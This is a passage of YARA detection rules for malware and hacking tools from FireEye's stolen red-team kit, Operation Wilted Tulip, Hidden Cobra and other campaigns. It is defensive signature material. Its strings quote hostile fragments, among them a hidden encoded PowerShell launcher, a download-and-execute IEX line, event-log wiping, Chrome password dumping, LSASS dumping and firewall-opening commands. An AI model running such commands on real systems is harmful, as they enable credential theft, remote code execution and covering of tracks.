		id = "8fa5adb7-dc66-51bc-9f60-2308515f33a8"

	strings:
		$typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
		$typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Keylogger_Win64_REDFLARE_1
{
	meta:
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "fbefb4074f1672a3c29c1a47595ea261"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "3c980f5a-c775-5c25-ba28-91a93a1b9a85"

	strings:
		$create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 }
		$keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_HackTool_Win64_EXCAVATOR_1
{
	meta:
		date = "2020-11-30"
		modified = "2020-11-30"
		md5 = "6a9a114928554c26675884eeb40cc01b"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e593b589-747d-53c2-a39a-57485e4f7641"

	strings:
		$api1 = "PssCaptureSnapshot" fullword
		$api2 = "MiniDumpWriteDump" fullword
		$dump = { BA FD 03 00 AC [0-8] 41 B8 1F 00 10 00 48 8B ?? FF 15 [4] 85 C0 0F 85 [2] 00 00 [0-2] 48 8D 05 [5] 89 ?? 24 30 ( C7 44 24 28 80 00 00 00 48 8D 0D ?? ?? ?? ?? | 48 8D 0D ?? ?? ?? ?? C7 44 24 28 80 00 00 00 ) 45 33 C9 [0-5] 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 [0-10] FF 15 [4] 48 8B ?? 48 83 F8 FF ( 74 | 0F 84 ) [1-4] 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 30 ( 41 B9 02 00 00 00 | 44 8D 4D 02 ) ?? 89 ?? 24 28 4C 8B ?? 8B [2] 89 ?? 24 20 FF 15 [4] 48 8B ?? FF 15 [4] 48 8B ?? FF 15 [4] FF 15 [4] 48 8B 54 24 ?? 48 8B C8 FF 15 }
		$lsass = { 6C 73 61 73 [6] 73 2E 65 78 [6] 65 }

	condition:
		(( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them
}

rule APT_Loader_Win64_MATRYOSHKA_2
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		description = "matryoshka.rs"
		md5 = "7f8102b789303b7861a03290c79feba0"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "25f916bc-6ee1-5175-903c-4266b0a086e1"

	strings:
		$sb1 = { 4D [2] 00 49 [2] 08 B? 02 00 00 00 31 ?? E8 [4] 48 89 ?? 48 89 ?? 4C 89 ?? 49 89 ?? E8 [4] 4C 89 ?? 48 89 ?? E8 [4] 83 [2] 01 0F 84 [4] 48 89 ?? 48 8B [2] 48 8B [2] 48 89 [5] 48 89 [5] 48 89 [5] 41 B? [4] 4C 89 ?? 31 ?? E8 [4] C7 45 [5] 48 89 ?? 4C 89 ?? E8 [4] 85 C0 }
		$sb2 = { 4C [2] 0F 83 [4] 41 0F [3] 01 41 32 [2] 00 48 8B [5] 48 3B [5] 75 ?? 41 B? 01 00 00 00 4C 89 ?? E8 [4] E9 }
		$si1 = "CreateToolhelp32Snapshot" fullword
		$si2 = "Process32Next" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule WiltedTulip_Tools_back
{
	meta:
		description = "Detects Chrome password dumper used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		modified = "2022-12-21"
		hash1 = "b7faeaa6163e05ad33b310a8fdc696ccf1660c425fa2a962c3909eada5f2c265"
		id = "3f57bd66-b269-5f59-ade1-f881b1d7dadd"

	strings:
		$x1 = "%s.exe -f \"C:\\Users\\Admin\\Google\\Chrome\\TestProfile\" -o \"c:\\passlist.txt\"" fullword ascii
		$x2 = "\\ChromePasswordDump\\Release\\FireMaster.pdb" ascii
		$x3 = "//Dump Chrome Passwords to a Output file \"c:\\passlist.txt\"" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them )
}

rule WiltedTulip_Tools_clrlg
{
	meta:
		description = "Detects Windows eventlog cleaner used in Operation Wilted Tulip - file clrlg.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "b33fd3420bffa92cadbe90497b3036b5816f2157100bf1d9a3b6c946108148bf"
		id = "6957c97d-2c2d-50ac-8fd5-2f299fc7b5c8"

	strings:
		$s1 = "('wevtutil.exe el') DO (call :do_clear" fullword ascii
		$s2 = "wevtutil.exe cl %1" fullword ascii

	condition:
		filesize < 1KB and 1 of them
}

rule WiltedTulip_powershell
{
	meta:
		description = "Detects powershell script used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "e5ee1f45cbfdb54b02180e158c3c1f080d89bce6a7d1fe99dd0ff09d47a36787"
		id = "b6246508-a6ff-5a02-a0de-9cde139f0acc"

	strings:
		$x1 = "powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+" ascii

	condition:
		1 of them
}

rule WiltedTulip_vminst
{
	meta:
		description = "Detects malware used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "930118fdf1e6fbffff579e65e1810c8d91d4067cbbce798c5401cf05d7b4c911"
		id = "5d21e515-eb7b-56ab-acc2-f09065769b2d"

	strings:
		$x1 = "\\C++\\Trojan\\Target\\" ascii
		$s1 = "%s\\system32\\rundll32.exe" fullword wide
		$s2 = "$C:\\Windows\\temp\\l.tmp" fullword wide
		$s3 = "%s\\svchost.exe" fullword wide
		$s4 = "args[10] is %S and command is %S" fullword ascii
		$s5 = "LOGON USER FAILD " fullword ascii
		$s6 = "vminst.tmp" fullword wide
		$s7 = "operator co_await" fullword ascii
		$s8 = "?ReflectiveLoader@@YGKPAX@Z" fullword ascii
		$s9 = "%s -k %s" fullword wide
		$s10 = "ERROR in %S/%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and ( 1 of ( $x* ) or 5 of ( $s* ) )
}

rule WiltedTulip_Windows_UM_Task
{
	meta:
		description = "Detects a Windows scheduled task as used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "4c2fc21a4aab7686877ddd35d74a917f6156e48117920d45a3d2f21fb74fedd3"
		id = "d827584e-8298-56e4-8466-90950d1f286e"

	strings:
		$r1 = "<Command>C:\\Windows\\syswow64\\rundll32.exe</Command>" fullword wide
		$p1 = "<Arguments>\"C:\\Users\\public\\" wide
		$c1 = "svchost64.swp\",checkUpdate" wide ascii
		$c2 = "svchost64.swp,checkUpdate" wide ascii

	condition:
		($r1 and $p1 ) or 1 of ( $c* )
}

rule WiltedTulip_WindowsTask
{
	meta:
		description = "Detects hack tool used in Operation Wilted Tulip - Windows Tasks"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c"
		hash2 = "340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d"
		hash3 = "b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01"
		hash4 = "5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a"
		hash5 = "984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34"
		id = "ad8193f0-e664-50a8-ab05-38027a2e33cd"

	strings:
		$x1 = "<Command>C:\\Windows\\svchost.exe</Command>" fullword wide
		$x2 = "<Arguments>-nop -w hidden -encodedcommand" wide
		$x3 = "-encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgA"

	condition:
		1 of them
}

rule WiltedTulip_tdtess
{
	meta:
		description = "Detects malicious service used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "3fd28b9d1f26bd0cee16a167184c9f4a22fd829454fd89349f2962548f70dc34"
		id = "0ecb391b-a4f9-5362-bb65-73801ae497de"

	strings:
		$x1 = "d2lubG9naW4k" fullword wide
		$x2 = "C:\\Users\\admin\\Documents\\visual studio 2015\\Projects\\Export\\TDTESS_ShortOne\\WinService Template\\" ascii
		$s1 = "\\WinService Template\\obj\\x64\\x64\\winlogin" ascii
		$s2 = "winlogin.exe" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or 2 of them ) )
}

rule WiltedTulip_SilverlightMSI
{
	meta:
		description = "Detects powershell tool call Get_AD_Users_Logon_History used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "c75906dbc3078ff81092f6a799c31afc79b1dece29db696b2ecf27951a86a1b2"
		id = "6430d464-b9c7-5f19-b89d-3c70f99af688"

	strings:
		$x1 = ".\\Get_AD_Users_Logon_History.ps1 -MaxEvent" fullword ascii
		$x2 = "if ((Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly -ErrorAction \"SilentlyContinue\").Type -eq \"PTR\")" fullword ascii
		$x3 = "$Client_Name = (Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly).NameHost  " fullword ascii
		$x4 = "########## Find the Computer account in AD and if not found, throw an exception ###########" fullword ascii

	condition:
		( filesize < 20KB and 1 of them )
}

import "pe"

rule WiltedTulip_matryoshka_Injector
{
	meta:
		description = "Detects hack tool used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "c41e97b3b22a3f0264f10af2e71e3db44e53c6633d0d690ac4d2f8f5005708ed"
		hash2 = "b93b5d6716a4f8eee450d9f374d0294d1800784bc99c6934246570e4baffe509"
		id = "e4cf2a31-33c8-5db1-84ca-f63b65a0a0a3"

	strings:
		$s1 = "Injector.dll" fullword ascii
		$s2 = "ReflectiveLoader" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them ) or ( pe.exports ( "__dec" ) and pe.exports ( "_check" ) and pe.exports ( "_dec" ) and pe.exports ( "start" ) and pe.exports ( "test" ) )
}

rule WiltedTulip_Zpp
{
	meta:
		description = "Detects hack tool used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		modified = "2022-12-21"
		hash1 = "10ec585dc1304436821a11e35473c0710e844ba18727b302c6bd7f8ebac574bb"
		hash2 = "7d046a3ed15035ea197235980a72d133863c372cc27545af652e1b2389c23918"
		hash3 = "6d6816e0b9c24e904bc7c5fea5951d53465c478cc159ab900d975baf8a0921cf"
		id = "7d833cb2-485e-5a26-be2f-aaebde7fdef2"

	strings:
		$x1 = "[ERROR] Error Main -i -s -d -gt -lt -mb" fullword wide
		$x2 = "[ERROR] Error Main -i(with.) -s -d -gt -lt -mb -o -e" fullword wide
		$s1 = "LT Time invalid" fullword wide
		$s2 = "doCompressInNetWorkDirectory" fullword ascii
		$s3 = "files remaining ,total file save = " fullword wide
		$s4 = "$ec996350-79a4-477b-87ae-2d5b9dbe20fd" fullword ascii
		$s5 = "Destinition Directory Not Found" fullword wide
		$s6 = "\\obj\\Release\\ZPP.pdb" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and ( 1 of ( $x* ) or 3 of them )
}

rule WiltedTulip_Netsrv_netsrvs
{
	meta:
		description = "Detects sample from Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "a062cb4364125427b54375d51e9e9afb0baeb09b05a600937f70c9d6d365f4e5"
		hash2 = "afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77"
		hash3 = "acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a"
		hash4 = "bff115d5fb4fd8a395d158fb18175d1d183c8869d54624c706ee48a1180b2361"
		hash5 = "07ab795eeb16421a50c36257e6e703188a0fef9ed87647e588d0cd2fcf56fe43"
		id = "4b58bb08-88da-535c-8ce5-e7113e5b7045"

	strings:
		$s1 = "Process %d Created" fullword ascii
		$s2 = "%s\\system32\\rundll32.exe" fullword wide
		$s3 = "%s\\SysWOW64\\rundll32.exe" fullword wide
		$c1 = "slbhttps" fullword ascii
		$c2 = "/slbhttps" fullword wide
		$c3 = "/slbdnsk1" fullword wide
		$c4 = "netsrv" fullword wide
		$c5 = "/slbhttps" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( all of ( $s* ) and 1 of ( $c* ) ) )
}

import "pe"

rule WiltedTulip_ReflectiveLoader
{
	meta:
		description = "Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904"
		hash2 = "1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a"
		hash3 = "a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f"
		hash4 = "cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0"
		hash5 = "eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89"
		id = "0c7dfb44-8acb-5f36-9683-745560f1f795"

	strings:
		$x1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
		$x2 = "%d is an x86 process (can't inject x64 content)" fullword ascii
		$x3 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
		$x4 = "Failed to impersonate token from %d (%u)" fullword ascii
		$x5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
		$x6 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them ) or ( 2 of them ) or pe.exports ( "_ReflectiveLoader@4" )
}

rule WiltedTulip_Matryoshka_RAT
{
	meta:
		description = "Detects Matryoshka RAT used in Operation Wilted Tulip"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://www.clearskysec.com/tulip"
		date = "2017-07-23"
		hash1 = "6f208473df0d31987a4999eeea04d24b069fdb6a8245150aa91dfdc063cd64ab"
		hash2 = "6cc1f4ecd28b833c978c8e21a20a002459b4a6c21a4fbaad637111aa9d5b1a32"
		id = "e851e212-bb71-55c9-9bc1-0041bb04bef5"

	strings:
		$s1 = "%S:\\Users\\public" fullword wide
		$s2 = "ntuser.dat.swp" fullword wide
		$s3 = "Job Save / Load Config" fullword wide
		$s4 = ".?AVPSCL_CLASS_JOB_SAVE_CONFIG@@" fullword ascii
		$s5 = "winupdate64.com" fullword ascii
		$s6 = "Job Save KeyLogger" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 3 of them )
}

rule MAL_JS_EFile_Apr23_1
{
	meta:
		description = "Detects JavaScript malware used in eFile compromise"
		author = "Florian Roth"
		score = 75
		reference = "https://twitter.com/Ax_Sharma/status/1643178696084271104/photo/1"
		date = "2023-04-06"
		id = "ba7a8b2c-789c-5bc5-be53-f2b92c7039e1"

	strings:
		$s1 = "let payload_chrome = "
		$s2 = "else if (agent.indexOf(\"firefox"

	condition:
		all of them
}

rule MAL_PHP_EFile_Apr23_1
{
	meta:
		description = "Detects malware "
		author = "Florian Roth"
		reference = "https://twitter.com/malwrhunterteam/status/1642988428080865281?s=12&t=C0_T_re0wRP_NfKa27Xw9w"
		date = "2023-04-06"
		score = 75
		id = "d663b38e-b082-5cf7-9853-f4685bf3a87b"

	strings:
		$s1 = "mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )" ascii
		$s2 = "C:\\\\ProgramData\\\\Browsers" ascii fullword
		$s3 = "curl_https($api_url." ascii

	condition:
		all of them
}

rule SUSP_MalDoc_ExcelMacro
{
	meta:
		description = "Detects malicious Excel macro Artifacts"
		author = "James Quinn"
		date = "2020-11-03"
		reference = "YARA Exchange - Undisclosed Macro Builder"
		id = "76806717-a9a8-520e-b6b6-7718eb088de5"

	strings:
		$artifact1 = {5c 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2e 00 ?? 00 ?? 00}
		$url1 = "http://" wide
		$url2 = "https://" wide
		$import1 = "URLDownloadToFileA" wide ascii
		$macro = "xl/macrosheets/"

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 2000KB and $artifact1 and $macro and $import1 and 1 of ( $url* )
}

rule APT_HiddenCobra_enc_PK_header
{
	meta:
		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
		incident = "10135536"
		date = "2018-04-12"
		category = "hidden_cobra"
		family = "TYPEFRAME"
		hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4"
		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
		description = "Hidden Cobra - Detects trojan with encrypted header"
		id = "5d7001b3-162c-5a97-a740-1b8e33d4aa9e"

	strings:
		$s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 }
		$s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a }
		$s2 = { ae 1d af 74 c0 f5 e1 02 50 10 }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_HiddenCobra_import_obfuscation_2
{
	meta:
		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
		incident = "10135536"
		date = "2018-04-12"
		category = "hidden_cobra"
		family = "TYPEFRAME"
		hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51"
		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
		description = "Hidden Cobra - Detects remote access trojan"
		id = "bc139580-a55b-514f-8a4e-ca1402ce3ad9"

	strings:
		$s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F}
		$s1 = {B6 DF 01 FD 48 B5 }
		$s2 = {B6 D5 0E F3 4E B5 }
		$s3 = {B7 DF 0E EE }
		$s4 = {B6 DF 03 FC }
		$s5 = {A7 D3 03 FC }

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and all of them
}

rule APT_NK_AR18_165A_HiddenCobra_import_deob
{
	meta:
		author = "NCCIC trusted 3rd party - Edit: Tobias Michalski"
		incident = "10135536"
		date = "2018-04-12"
		category = "hidden_cobra"
		family = "TYPEFRAME"
		md5 = "ae769e62fef4a1709c12c9046301aa5d"
		md5 = "e48fe20eblf5a5887f2ac631fed9ed63"
		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
		description = "Hidden Cobra - Detects installed proxy module as a service"
		id = "f403d589-be35-57a7-9675-f92657c11acc"

	strings:
		$ = { 8a 01 3c 62 7c 0a 3c 79 7f 06 b2 db 2a d0 88 11 8a 41 01 41 84 c0 75 e8}
		$ = { 8A 08 80 F9 62 7C 0B 80 F9 79 7F 06 82 DB 2A D1 88 10 8A 48 01 40 84 C9 75 E6}

	condition:
		( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and any of them
}

rule APT_NK_AR18_165A_1
{
	meta:
		description = "Detects APT malware from AR18-165A report by US CERT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
		date = "2018-06-15"
		hash1 = "089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359"
		id = "45f5205d-7f69-5646-aef8-f95d139f9720"

	strings:
		$s1 = "netsh.exe advfirewall firewall add rule name=\"PortOpenning\" dir=in protocol=tcp localport=%d action=allow enable=yes" fullword wide
		$s2 = "netsh.exe firewall add portopening TCP %d \"PortOpenning\" enable" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule SUSP_obfuscated_JS_obfuscatorio : HIGHVOL
{
	meta:
		author = "@imp0rtp3"
		description = "Detects JS obfuscation done by the js obfuscator (often malicious)"
		reference = "https://obfuscator.io"
		date = "2021-08-25"
		score = 50
		id = "d808f96c-21c9-59c7-b3c7-f118d39d564e"

	strings:
		$a1 = "var a0_0x"
		$c1 = "))),function(){try{var _0x"
		$c2 = "=Function('return\\x20(function()\\x20'+'{}.constructor(\\x22return\\x20this\\x22)(\\x20)'+');');"
		$c3 = "['atob']=function("
		$c4 = ")['replace'](/=+$/,'');var"
		$c5 = "return!![]"
		$c6 = "'{}.constructor(\\x22return\\\x20this\\x22)(\\x20)'"
		$c7 = "{}.constructor(\x22return\x20this\x22)(\x20)" base64
		$c8 = "while(!![])"
		$c9 = "while (!![])"
		$d1 = /(parseInt\(_0x([a-f0-9]{2}){2,4}\(0x[a-f0-9]{1,5}\)\)\/0x[a-f0-9]{1,2}\)?(\+|\*\()\-?){6}/

	condition:
		$a1 at 0 or ( filesize < 1000000 and ( 3 of ( $c* ) or $d1 ) )
}

import "pe"

rule ME_Campaign_Malware_1
{
	meta:
		description = "Detects malware from Middle Eastern campaign reported by Talos"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
		date = "2018-02-07"
		hash1 = "1176642841762b3bc1f401a5987dc55ae4b007367e98740188468642ffbd474e"
		id = "7c844c5c-caf0-5968-ac1a-72886fcf97cf"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( pe.imphash ( ) == "618f76eaf4bd95c690d43e84d617efe9" )
}

import "pe"

rule ME_Campaign_Malware_2
{
	meta:
		description = "Detects malware from Middle Eastern campaign reported by Talos"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
		date = "2018-02-07"
		hash1 = "76a9b603f1f901020f65358f1cbf94c1a427d9019f004a99aa8bff1dea01a881"
		id = "a0beec30-62ff-54c3-ab62-c54454b89f8d"

	strings:
		$s1 = "QuickAssist.exe" fullword wide
		$s2 = "<description>Microsoft Modern Sharing Solution</description>" fullword ascii
		$s3 = "GBEWCWA" fullword ascii
		$s4 = "name=\"QuickAssist\" " fullword ascii
		$s5 = "Cimzal" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "b06055e6cc2a804111ab6964df1ca4ae" or 4 of them )
}

rule ME_Campaign_Malware_3
{
	meta:
		description = "Detects malware from Middle Eastern campaign reported by Talos"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
		date = "2018-02-07"
		hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
		id = "d8bfd426-ff42-5332-8206-67a558509494"

	strings:
		$x1 = "objWShell.Run \"powershell.exe -ExecutionPolicy Bypass -File \"\"%appdata%\"\"\\sys.ps1\", 0 " fullword ascii
		$x2 = "objFile.WriteLine \"New-Item -Path \"\"$ENV:APPDATA\\Microsoft\\Templates\"\" -ItemType Directory -Force }\" " fullword ascii
		$x3 = "objFile.WriteLine \"$path = \"\"$ENV:APPDATA\\Microsoft\\Templates\\Report.doc\"\"\" " fullword ascii
		$s4 = "File=appData & \"\\sys.ps1\"" fullword ascii

	condition:
		uint16( 0 ) == 0x6553 and filesize < 400KB and 1 of them
}

import "pe"

rule ME_Campaign_Malware_4
{
	meta:
		description = "Detects malware from Middle Eastern campaign reported by Talos"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
		date = "2018-02-07"
		hash1 = "c5bfb5118a999d21e9f445ad6ccb08eb71bc7bd4de9e88a41be9cf732156c525"
		id = "1ff83ac6-e3f1-55e2-a811-e526b8235c78"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and pe.imphash ( ) == "fb7da233a35ac523d6059fff543627ab"
}

rule ME_Campaign_Malware_5
{
	meta:
		description = "Detects malware from Middle Eastern campaign reported by Talos"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
		date = "2018-02-07"
		modified = "2022-08-18"
		hash1 = "d49e9fdfdce1e93615c406ae13ac5f6f68fb7e321ed4f275f328ac8146dd0fc1"
		hash2 = "e66af059f37bdd35056d1bb6a1ba3695fc5ce333dc96b5a7d7cc9167e32571c5"
		id = "241a4236-2688-5920-87f7-eed33963ec60"

	strings:
		$s1 = "D:\\me\\do\\do\\obj\\" ascii
		$s2 = "Select * from Win32_ComputerSystem" fullword wide
		$s3 = "Get_Antivirus" fullword ascii
		$s4 = "{{\"id\":\"{0}\",\"user\":\"{1}\",\"path\":\"{2}\"}}" fullword wide
		$s5 = "update software online" fullword wide
		$s6 = "time.nist.gov" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and 5 of them or all of them
}

import "pe"

rule APT_GreyEnergy_Malware_Oct18_1
{
	meta:
		description = "Detects samples from Grey Energy report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
		date = "2018-10-17"
		hash1 = "6c52a5850a57bea43a0a52ff0e2d2179653b97ae5406e884aee63e1cf340f58b"
		id = "fc997540-075e-5f1c-9238-135c1572553b"

	strings:
		$x1 = "%SystemRoot%\\System32\\thinmon.dll" fullword ascii
		$s2 = "'Cannot delete list entry (fatal error)!9The module %s cannot be executed on this system (0x%.4x).%Enumerate all sessions on TSE" wide
		$s8 = "cbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbe" ascii
		$s14 = "configure the service" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and pe.imphash ( ) == "98d1ad672d0db4b4abdcda73cc9835cb" and all of them
}

rule APT_GreyEnergy_Malware_Oct18_2
{
	meta:
		description = "Detects samples from Grey Energy report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
		date = "2018-10-17"
